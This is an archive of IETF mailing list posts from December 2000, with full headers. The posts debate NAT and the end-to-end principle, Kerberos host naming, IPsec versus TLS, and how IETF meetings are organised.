Tue, 19 Dec 2000 11:05:53 -0500 Received: from nortelnetworks.com (acart17y.ca.nortel.com [47.129.9.127]) by rftzy232.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id YX1YZNX3; Tue, 19 Dec 2000 11:04:27 -0500 Sender: "Marcus Leech" Message-ID: <3A3FAF2E.5AA913BF@nortelnetworks.com> Date: Tue, 19 Dec 2000 10:55:42 -0800 From: "Marcus Leech" Organization: Nortel Networks, Information Systems X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.5-15 i686) X-Accept-Language: en MIME-Version: 1.0 To: Teemu Rinta-aho CC: ietf@ietf.org Subject: Re: WLAN References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Additionally, after network shutdown on Friday, Jeff Schiller cross-connected his his Apple AirPort to his HDR/Hornet box, and was providing NATed wireless service to folks still hanging out in the lobby of the east tower of the Hotel. From owner-ietf-outbound Tue Dec 19 12:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA18256 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 12:00:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA17281 for ; Tue, 19 Dec 2000 11:20:26 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id LAA07612; Tue, 19 Dec 2000 11:20:26 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id LAA29022; Tue, 19 Dec 2000 11:20:25 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id LAA19115; Tue, 19 Dec 2000 11:20:24 -0500 Date: Tue, 19 Dec 2000 11:20:23 -0500 From: V Guruprasad To: Keith Moore Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! Message-ID: <20001219112023.A19099@bubble.watson.ibm.com> References: <200012190552.AAA02163@tsx-prime.MIT.EDU> <200012191440.JAA07169@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200012191440.JAA07169@astro.cs.utk.edu>; from moore@cs.utk.edu on Tue, Dec 19, 2000 at 09:39:00 -0500 X-Loop: ietf@ietf.org Hi Keith! On Tue, 19 Dec 2000, Keith Moore wrote: > mumble. as far as I can tell, both DNS names and IP addresses > are hopelessly overloaded and are likely to stay that way until > we figure out how to make a major architectural change. Could you please take a look at draft-guruprasad-addressless-internet-00.txt ? It's been done, and at least one conference PC rated it a best paper (online at http://affine.watson.ibm.com/tmp/vinet.pdf), so it couldn't be so bad as to be left in total oblivion while everyone continues in endless inane discussions :-( More to the point, everyone I did manage to present it to in the hallways at the 49th IETF did like the idea. I'd hate to list the nodders, but the list includes at least one IAB member, one W3C person, and an important contributor to IS-IS and OSPF, as I recall. "only an asteroid can clear the dinosaurs..." -p. From owner-ietf-outbound Tue Dec 19 12:10:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA18487 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 12:10:02 -0500 (EST) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA17996 for ; Tue, 19 Dec 2000 11:49:40 -0500 (EST) Received: from gra.isi.edu (gra.isi.edu [128.9.160.133]) by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id eBJGne807039; Tue, 19 Dec 2000 08:49:41 -0800 (PST) From: Bob Braden Received: (from braden@localhost) by gra.isi.edu (8.8.7/8.8.6) id QAA01168; Tue, 19 Dec 2000 16:49:40 GMT Date: Tue, 19 Dec 2000 16:49:40 GMT Message-Id: <200012191649.QAA01168@gra.isi.edu> To: rja@inet.org Subject: Re: IETF logistics Cc: ietf@ietf.org X-Sun-Charset: US-ASCII X-Loop: ietf@ietf.org Ran, Everything you say contains truth, but to be optimistic in this holiday season, in some ways we are doing much better than one might expect. Here is a larger context... THEN: - The WWW had not been created, or was just in its infancy. - Commercialization of the Internet was just beginning. The major users of the Internet were from the academic community, as a result of NSFnet. The .com part of the DNS space was not much used. The DNS was used only for host names. - The major vendors represented in IETF were mostly small companies --e.g., Cisco, Proteon, FTP Software, ... The big guys like IBM and DEC were treating the Internet something like a rare disease -- to be tolerated and watched from afar, in case something unexpected (like continued growth) should happen. IETF was not even on the radar screens of the Bell heads. - The Internet researchers who had developed TCP/IP and friends were still significant players in the IETF. The heirs of this group, the IAB, set Internet standards NOW: (Left as an exercise to the reader, but here's a clue: it's a different world out there!) Given this context, it actually seems somewhat remarkable to me that the IETF has so far been able to adapt to changing circumstances (without becoming another ISO or ITU). Bob Braden From owner-ietf-outbound Tue Dec 19 12:20:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA18731 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 12:20:03 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18386 for ; Tue, 19 Dec 2000 12:05:14 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id JAA14878; Tue, 19 Dec 2000 09:04:55 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ACX04748; Tue, 19 Dec 2000 09:04:43 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.88 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14911.38185.69675.522594@localhost.localdomain> Date: Tue, 19 Dec 2000 12:04:41 -0500 To: Frank Kastenholz Cc: RJ Atkinson , ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> References: <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit On 19 Dec 2000 at 11:07 -0500, Frank Kastenholz apparently wrote: > I believe that the only choices are > - limit attendance to "the right people" or > - accept the tourists and panda-watchers and > that the IETF meeting has evolved. The right people include "monitors" these days. For example there were newly attending voice people who were there making sure the IETF didn't do anything which would make their lives miserable. Now that IP is critical to almost everything you're going to see more of these people who aren't there just for tutorials. They deserve to get in before the panda-watchers (I love it -- but who's the panda? Don't answer that), and after the active engineers. I would suggest that chairs try setting the agenda around issues, not around drafts themselves. The main point of the face-to-face meetings is to resolve issues that cannot be resolved by mail. Put those on the agenda, and let the combatants present as much tutorial information as they feel is necessary to make their point -- but don't set up the editor of a particular draft to give a presentation first, followed by discussion. Don't even put the draft title on the agenda, just in the preliminary mail sent out before the meeting. Thoughts? ...Scott From owner-ietf-outbound Tue Dec 19 12:40:49 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA19291 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 12:40:02 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18442 for ; Tue, 19 Dec 2000 12:07:31 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id MAA02888 for ietf@ietf.org; Tue, 19 Dec 2000 12:07:33 -0500 (EST) Date: Tue, 19 Dec 2000 12:07:32 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: ietf@ietf.org Subject: Looking for Lyrics to the IETF Xmas song Message-ID: X-Loop: ietf@ietf.org Sorry for the wasted bandwidth. But could someone please post the lyrics to the IETF Christmas song, the video that was shown at the Plenary. Thanks. Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available The Kermit Project @ Columbia University includes Secure Telnet and FTP http://www.kermit-project.org/ using Kerberos, SRP, and kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Tue Dec 19 12:50:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA19636 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 12:50:02 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18895 for ; Tue, 19 Dec 2000 12:26:04 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 148QWb-000AHz-00; Tue, 19 Dec 2000 09:26:05 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Scott Brim" Cc: ietf Subject: Re: IETF logistics References: <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <14911.38185.69675.522594@localhost.localdomain> Message-Id: Date: Tue, 19 Dec 2000 09:26:05 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > I would suggest that chairs try setting the agenda around issues, not > around drafts themselves. The main point of the face-to-face meetings > is to resolve issues that cannot be resolved by mail. Put those on the > agenda, and let the combatants present as much tutorial information as > they feel is necessary to make their point -- but don't set up the > editor of a particular draft to give a presentation first, followed by > discussion. Don't even put the draft title on the agenda, just in the > preliminary mail sent out before the meeting. Thoughts? sounds good to me! randy From owner-ietf-outbound Tue Dec 19 13:00:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA19870 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 13:00:03 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18903 for ; Tue, 19 Dec 2000 12:26:10 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id MAA02209; Tue, 19 Dec 2000 12:26:12 -0500 Date: Tue, 19 Dec 2000 12:26:12 -0500 Message-Id: <200012191726.MAA02209@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: Ken Raeburn CC: ietf@ietf.org In-reply-to: Ken Raeburn's message of 19 Dec 2000 09:02:52 -0500, Subject: Re: NATs *ARE* evil! Phone: (781) 391-3464 X-Loop: ietf@ietf.org From: Ken Raeburn Date: 19 Dec 2000 09:02:52 -0500 "Theodore Y. Ts'o" writes: > Kerberos tried to deal with this problem by talking about "canonical > domain name", which it tried to define as being the name that you got > when you took a DNS name, forward resolved it to get an A address, and > then reverse-resolved it to get a DNS name. But this didn't work in > many cases, sometimes we got back an unqualified name, and in many cases > this scheme totally failed due to load balancing DNS servers, etc. I The MIT implementation does that, but I always thought that was just because certain gethostbyname implementations wouldn't return the canonical name (in the CNAME-processing sense) without doing this dance. Because of the server-cluster or load-balancing case, I've been thinking we should change it. The spec has never been quite that precise on this point; probably something we should fix for RFC1510bis. RFC-1510bis always ignored this issue, and at some level, it strikes at the heart of the whole name canonicalization mess. RFC-1510 assumes that you know the authentication name of the service. The problem is that it's silent on that the issue of how you discover said authentication name. What was implemented in the MIT implementation isn't actually specified anywhere; it's a local implementation hack. And, as Microsoft rightly points out, because we rely on the DNS, it's not really secure, either. Unfortunately, fixing this problem is hard! The problem with using the CNAME target as the authentication name is that that while it works for some load-balancers, it fails for others. It all depends on whether the load-balancers return a CNAME or an A address. Simply just using the CNAME also means that you need to also replicate the domain name search rules. If I type "telnet tsx-prime", and I have a domain name search rule of "valinux.com mit.edu", then the name which should be used is tsx-prime.mit.edu. Yet if I type "telnet shells", I should get the name shells.valinux.com. This reason is historically the reason why we played the forwards and backwards dance --- because we wanted to get that case right. So when checking gethostbyname implementations, if you have to check to see whether they return the FQDN both in the CNAME case, and in the case where an unqualified domain name is typed by the client. Many gethostbyname implementations will fail on one or the other.... > suspect the reason is that as our domain name friends would tell us, > there is no such thing as a "canonical domain name" for a host. > Kerberos tried to invent such a concept, but it didn't work all that > well. I would much rather have some real IP-level endpoint identifier. > If that's what we're securing, that's what we should be using. If you get hosts with multiple addresses (or, under IPv6, multiple prefixes), an address-based identifier is still not unique. (And, unpleasantly enough, there are server implementations that split a single IP address across multiple machines.) True enough. (Although some people actually want to be able to authenticate and distinguish between specific ethernet interfaces; they mostly fall into the category of "sick puppies", but it's indicative of the naming problem that we have. We don't have general agreement on what the semantics of the names that we do have, and as a result the semantics are overloaded as all hell, with different people taking advantage of different aspects of the overloaded semantics, making it extremely difficult to separate them out cleanly. Ack!) - Ted From owner-ietf-outbound Tue Dec 19 13:10:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA20335 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 13:10:03 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA19150 for ; Tue, 19 Dec 2000 12:34:48 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA14396; Tue, 19 Dec 2000 12:34:22 -0500 (EST) Sender: hgs@cs.columbia.edu Message-ID: <3A3F9C1E.35A5C973@cs.columbia.edu> Date: Tue, 19 Dec 2000 12:34:22 -0500 From: "Henning G. Schulzrinne" Organization: Dept. of Computer Science, Columbia University X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Frank Kastenholz CC: RJ Atkinson , ietf@ietf.org Subject: Re: IETF logistics References: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Frank Kastenholz wrote: > > At 09:28 AM 12/19/00 -0500, RJ Atkinson wrote: > >We can also end the de facto practice of > >using the sessions as tutorials and discontinue fancy prepared > >presentations of the material already in the I-Ds. While > >tutorials are a fine thing, they are appropriate for USENIX > >or Interop, not IETF WG sessions, IMHO. > > I tried doing this in my area when I was on the IESG. > It didn't work. The chairs and attendees want this stuff. One can also argue that with 400+ people in a room, having discussions about minute protocol details is a less efficient use of time than providing a concise summary of where the authors think the draft is at. This gives everyone a chance to synchronize and emerge from the usual "please fix the wording in table 3" minutiae to the bigger picture - is this generally good/interesting stuff, is it sufficiently ready to move forwards, is the scope clear, what are the big open issues, etc?. These types of presentations do serve as a "tutorial" to the vast majority of people that can't track every wording change in a draft. A good overview that triggers a "you're going off the rails" remark is much more useful than the common "shall we use upper case or lower case" discussion with the same ten participants who are already particpating in the mailing list discussion. > > > Further, I'd suggest that each area would have the > >option (discretion of the relevant ADs) of having a single > >Area Meeting someplace. This would last only perhaps 2 days. > >It could be held at a rather larger number of venues > >(due to smaller attendance) > > I do not believe that this would work. Too many people > just go to see what's going on and be there in case > "something important" happens. If you have a > meeting, they will go. It also tends to disenfranchise those who are not on infinite travel budgets. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs From owner-ietf-outbound Tue Dec 19 13:20:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA20574 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 13:20:02 -0500 (EST) Received: from slarti.muc.de (slarti.muc.de [193.149.48.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA19355 for ; Tue, 19 Dec 2000 12:42:48 -0500 (EST) Received: (qmail 3566 invoked by uid 66); 19 Dec 2000 17:53:32 -0000 Received: from faerber by slarti with UUCP; Tue Dec 19 17:53:32 2000 -0000 Received: by faerber.muc.de (GeoZILLA/0.91b (CBM 128D; GEOS 2.5)); 19 Dec 2000 18:41:12 +0100 Date: 19 Dec 2000 17:55:00 +0100 From: claus@faerber.muc.de (=?ISO-8859-1?Q?Claus_F=E4rber?=) To: ietf@ietf.org Message-ID: <7s99ULlocDB@faerber.muc.de> In-Reply-To: <20001218160940.44123.qmail@web9101.mail.yahoo.com> Subject: Re: NATs *ARE* evil! X-Mailer: GeoZILLA/0.91b (CBM 128D; GEOS 2.5) X-No-Archive: yes MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org Kevin Farley schrieb/wrote: > That's why so many of the little NAT gadgets are sold. Because Joe User > doesn't want to shell out extra bucks for more IP addresses and Joe > User needs simplicity. Or, as in my case, the provider tells him that they do not have enough IP addresses. Or it tells him that more than one IP address is considered "corporate use" which costs ten time the money. Claus -- http://www.faerber.muc.de From owner-ietf-outbound Tue Dec 19 13:30:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA20838 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 13:30:02 -0500 (EST) Received: from pescado.lanl.gov (cx133708-a.ocnsd1.sdca.home.com [24.20.238.239]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA19523 for ; Tue, 19 Dec 2000 12:47:45 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by pescado.lanl.gov (Postfix) with ESMTP id D842921681; Tue, 19 Dec 2000 09:47:42 -0800 (PST) Date: Tue, 19 Dec 2000 09:47:42 -0800 (PST) From: Mike Fisk To: "Theodore Y. Ts'o" Cc: iab@iab.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: <200012190608.BAA02165@tsx-prime.MIT.EDU> Message-ID: X-Homepage: http://home.lanl.gov/mfisk/ MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Tue, 19 Dec 2000, Theodore Y. Ts'o wrote: > Date: Mon, 18 Dec 2000 14:45:08 -0800 (PST) > From: Mike Fisk > > Gateways that surreptitiously modify packets can break ANY end-to-end > protocol no matter what layer it's at. Assume that we sacrifice IP > addresses as not necessarily end-to-end. Fine, there are gateways that > need to modify your TCP ports too. Okay, sacrifice make it so ports > aren't covered by e2e assumptions like IPsec. Fine, there are gateways > that do ACK spoofing. Okay, sacrifice all header data and assume that > only payload is e2e. Whoops, even the payload has to be modified by some > gateways. The hypothesis that you can have these gateways and have > any part of the packet be guaranteed to be e2e is false. > > Given our inability to rule out the need for gateways that change IP > addresses (or other routing headers), this leads to the conclusion that > applications shouldn't use any header field (IP address, port, etc.) for > authentication. > > OK, in that case, we've completely thrown out the end-to-end principle It's an argument of semantics, but I prefer to say that we're separating transport-layer end-to-end from application-layer end-to-end. Make applications explicitly terminate transport connections at gateways. So what is now a connection from me to you across a NAT and a proxy-ing firewall would be come a session-layer connection from me to you served by transport connections from me to the NAT, from the NAT to the proxy, and from the proxy to you. Just as layer two frames don't cross routers, layer three and four frames don't cross these upper-layer gateways. I want to get rid of surreptitious proxies and gateways, but to get there you have to provide similar services somewhere in the stack. Today we maintain route tables, ARP for the router's layer two addresses, and form a packet. We need something equivalent to handle the discovery and addressing of upper-layer gateways. The presentation I gave at the midcom BOF covers some of this: http://public.lanl.gov/mfisk/papers/midcom-bof.pdf > and completely wiped out any possibility of IPSEC. If that's the world > we live in, where any part of the IP header can be subject to attack by > an intermediate attacker.... err, "service provider", then you shouldn't > be using IPSEC. You should be using TLS instead. That's the crux. If I live in an institution with a NAT or firewall, there is a policy that I will use that network "service". There may be other policies regarding what other intermediate gateways you trust. Many people will favor trusting as few (zero) gateways as possible. Hopefully these policies will drive people away from the use of these gateways, but I don't think we can assume that gateways will never exist. We need good protocol mechanisms that allow those policies. The marginal value I see in IPsec is that it is useful for protocols other than TCP. For TCP applications, I confess that I don't see much value in IPsec (not that TLS has any particular merits, it just became more common first). > It of course also means that no part of the IP header can be > authenticated in anyway, since it's of course all subject to change by > such gateways. Yes, I assert that that is an architectural assumption (concession) that needs to be made. You might be able to authenticate the IP header of the gateway, but that doesn't help you much with application-level e2e authentication. > Is that really the architecture that we should be building in the > Internet. I know some extremists would say yes, absolutely, and others > would be say that this would be a horror. The problem though is that > we're designing that assume (and depend upon) both architectural > philosophies. Is it any wonder that we're having disconnects? Agreed. We have to agree on what assumptions we can make. We need more questions like "can we sign in blood that the IP address will not be modified". Unfortunately, I don't think we can make that particular assumption (between application end-points). Yes, some of us are proposing a departure from some current architectural assumptions, but I think that there is sufficient evidence that there are legitimate (if unfortunate and messy) needs for this agility. You're correct in fearing that we can't just put a stake in the sand and swear them away. -- Mike Fisk, RADIANT Team, Network Engineering Group, Los Alamos National Lab See http://home.lanl.gov/mfisk/ for contact information From owner-ietf-outbound Tue Dec 19 13:50:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA21302 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 13:50:02 -0500 (EST) Received: from mail-blue.research.att.com ([135.207.30.102]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA19825 for ; Tue, 19 Dec 2000 12:57:45 -0500 (EST) Received: from postal.research.att.com (postal.research.att.com [135.207.23.30]) by mail-blue.research.att.com (Postfix) with ESMTP id E8B694CE53; Tue, 19 Dec 2000 12:57:45 -0500 (EST) Received: from smb.research.att.com (postal.research.att.com [135.207.23.30]) by postal.research.att.com (8.8.7/8.8.7) with ESMTP id MAA01163; Tue, 19 Dec 2000 12:57:45 -0500 (EST) Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1]) by smb.research.att.com (Postfix) with ESMTP id 5DCFB35DC2; Tue, 19 Dec 2000 12:57:44 -0500 (EST) X-Mailer: exmh version 2.2 06/23/2000 with version: MH 6.8.3 #1[UCI] From: "Steven M. Bellovin" To: Mike Fisk Cc: "Theodore Y. Ts'o" , iab@isi.edu, ietf@ietf.org Subject: Re: NATs *ARE* evil! Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 19 Dec 2000 12:57:44 -0500 Sender: smb@research.att.com Message-Id: <20001219175744.5DCFB35DC2@smb.research.att.com> X-Loop: ietf@ietf.org In message , Mike Fi sk writes: > >The marginal value I see in IPsec is that it is useful for protocols other >than TCP. For TCP applications, I confess that I don't see much value in >IPsec (not that TLS has any particular merits, it just became more common >first). > Why do I think I'm having this discussion for the Nth time? IPsec has two other advantages: it protects *all* transmissions without touching the applications, which would otherwise need to be converted one at a time; it also protects TCP against one-packet denial-of-service attacks. All I have to do to tear down a TLS session is send one packet with the correct port and sequence numbers. TLS will notice that the packet doesn't belong, and will tear down the session. With IPsec, TCP will never even see the garbage packet, since it will fail the integrity check before it gets to that layer. --Steve Bellovin From owner-ietf-outbound Tue Dec 19 14:00:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA21583 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 14:00:04 -0500 (EST) Received: from mailer1.lut.ac.uk ([158.125.1.202]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20083 for ; Tue, 19 Dec 2000 13:05:20 -0500 (EST) Received: from jon (helo=localhost) by mailer1.lut.ac.uk with local-smtp (Exim 2.10 #1) id 148R8E-0001y8-00; Tue, 19 Dec 2000 18:04:58 +0000 Date: Tue, 19 Dec 2000 18:04:52 +0000 (GMT) From: Jon Knight X-Sender: jon@mailer1 To: V Guruprasad cc: Keith Moore , ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: <20001219112023.A19099@bubble.watson.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Lboro-Filtered: mailer1.lut.ac.uk, Tue, 19 Dec 2000 18:04:59 +0000 X-Loop: ietf@ietf.org On Tue, 19 Dec 2000, V Guruprasad wrote: > Could you please take a look at > draft-guruprasad-addressless-internet-00.txt > ? I've just started to read it and in 1.1 it says: "- requiring e2e network knowledge (omniscience) at each node in the form of e2e routing tables (Section 1.3);" Erm, now I might be misunderstanding something here but our end nodes (workstations, servers, PCs, etc) certainly don't have full e2e routing knowledge. They know what their address(es) is/are, what network(s) they are on and what the address of their gateway router is. Not exactly what I'd call omniscience. Also I note in section 1.2 it says: "Even if better dressed as IP addresses, network addresses are real addresses in that they locate physical destinations in the network, unlike memory addresses, which are routinely virtualised by host operating systems." Surely DNS addresses are more equivalent to the virtual memory addresses in host if you're going to take that analogy? The whole point of virtual memory is that it makes it easier for the user (well, programmer) by hiding the nasty details of which physical address your code and data live at. The whole point of the DNS is that it makes it easier for the user by hiding the nasty details of what IP address you need to talk to. And that's without getting into the situations where a single IP address locates multiple hosts (broadcast addresses, multicast addresses, etc). Reading further into the draft I was left think "URNs". The draft does mention URNs at all and yet alot of what it seems to do appears similar to the ideas behind the URN efforts of the IETF in the past. Tatty bye, Jim'll From owner-ietf-outbound Tue Dec 19 14:10:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA21950 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 14:10:02 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20147 for ; Tue, 19 Dec 2000 13:06:46 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id NAA02213; Tue, 19 Dec 2000 13:06:45 -0500 Date: Tue, 19 Dec 2000 13:06:45 -0500 Message-Id: <200012191806.NAA02213@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: V Guruprasad CC: Keith Moore , ietf@ietf.org In-reply-to: V Guruprasad's message of Tue, 19 Dec 2000 11:20:23 -0500, <20001219112023.A19099@bubble.watson.ibm.com> Subject: Re: NATs *ARE* evil! Phone: (781) 391-3464 X-Loop: ietf@ietf.org Date: Tue, 19 Dec 2000 11:20:23 -0500 From: V Guruprasad On Tue, 19 Dec 2000, Keith Moore wrote: > mumble. as far as I can tell, both DNS names and IP addresses > are hopelessly overloaded and are likely to stay that way until > we figure out how to make a major architectural change. Could you please take a look at draft-guruprasad-addressless-internet-00.txt I just took a look at it, and it makes the following interesting assumption: "Internet == Web ---> URL's are the only form of addresses which matter". It also seems to be espousing a form of address path which looks remarkably similar to UUCP bang-path routing, using optimizations very similar to which were encoded in a UUCP pathalias file. Am I missing something or is that in essense your proposal? - Ted From owner-ietf-outbound Tue Dec 19 14:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA22188 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 14:20:02 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20348 for ; Tue, 19 Dec 2000 13:10:29 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id NAA02217; Tue, 19 Dec 2000 13:10:29 -0500 Date: Tue, 19 Dec 2000 13:10:29 -0500 Message-Id: <200012191810.NAA02217@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: jaltman@COLUMBIA.EDU CC: ietf@ietf.org In-reply-to: Jeffrey Altman's message of Tue, 19 Dec 2000 12:07:32 EST, Subject: Re: Looking for Lyrics to the IETF Xmas song Phone: (781) 391-3464 X-Loop: ietf@ietf.org Date: Tue, 19 Dec 2000 12:07:32 EST From: Jeffrey Altman Sorry for the wasted bandwidth. But could someone please post the lyrics to the IETF Christmas song, the video that was shown at the Plenary. Is the video itself available anywhere? - Ted From owner-ietf-outbound Tue Dec 19 14:30:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA22550 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 14:30:03 -0500 (EST) Received: from localhost.localdomain ([207.8.144.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20518 for ; Tue, 19 Dec 2000 13:18:50 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBJIMsI13674 for ; Tue, 19 Dec 2000 13:22:54 -0500 Sender: francis@localhost.localdomain Message-ID: <3A3FA77E.AFF14806@ecal.com> Date: Tue, 19 Dec 2000 13:22:54 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: IETF logistics References: <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <14911.38185.69675.522594@localhost.localdomain> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Scott Brim wrote: > On 19 Dec 2000 at 11:07 -0500, Frank Kastenholz apparently wrote: > > I believe that the only choices are > > - limit attendance to "the right people" or > > - accept the tourists and panda-watchers and > > that the IETF meeting has evolved. > > The right people include "monitors" these days. Perhaps. But consider: there were 128 WG/BOF/area meetings (I think). A typical working group has a relatively small number of active participants (let's say 10--more than that usually gets unwieldy). So that's 1,280 active participants (fewer, since there's overlap) out of 2,768 attendees in San Diego. Were there 1400 monitors? This is different from active participants in one group who sit in on another group. This is people who don't actively participate in any group--and they appear to be in the majority. And, no, I don't have a solution. I'm not even positive it's a problem. It's just that, if it is a problem, it's a bigger one than I previously realized. -- /===============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |==============================================| |eCal 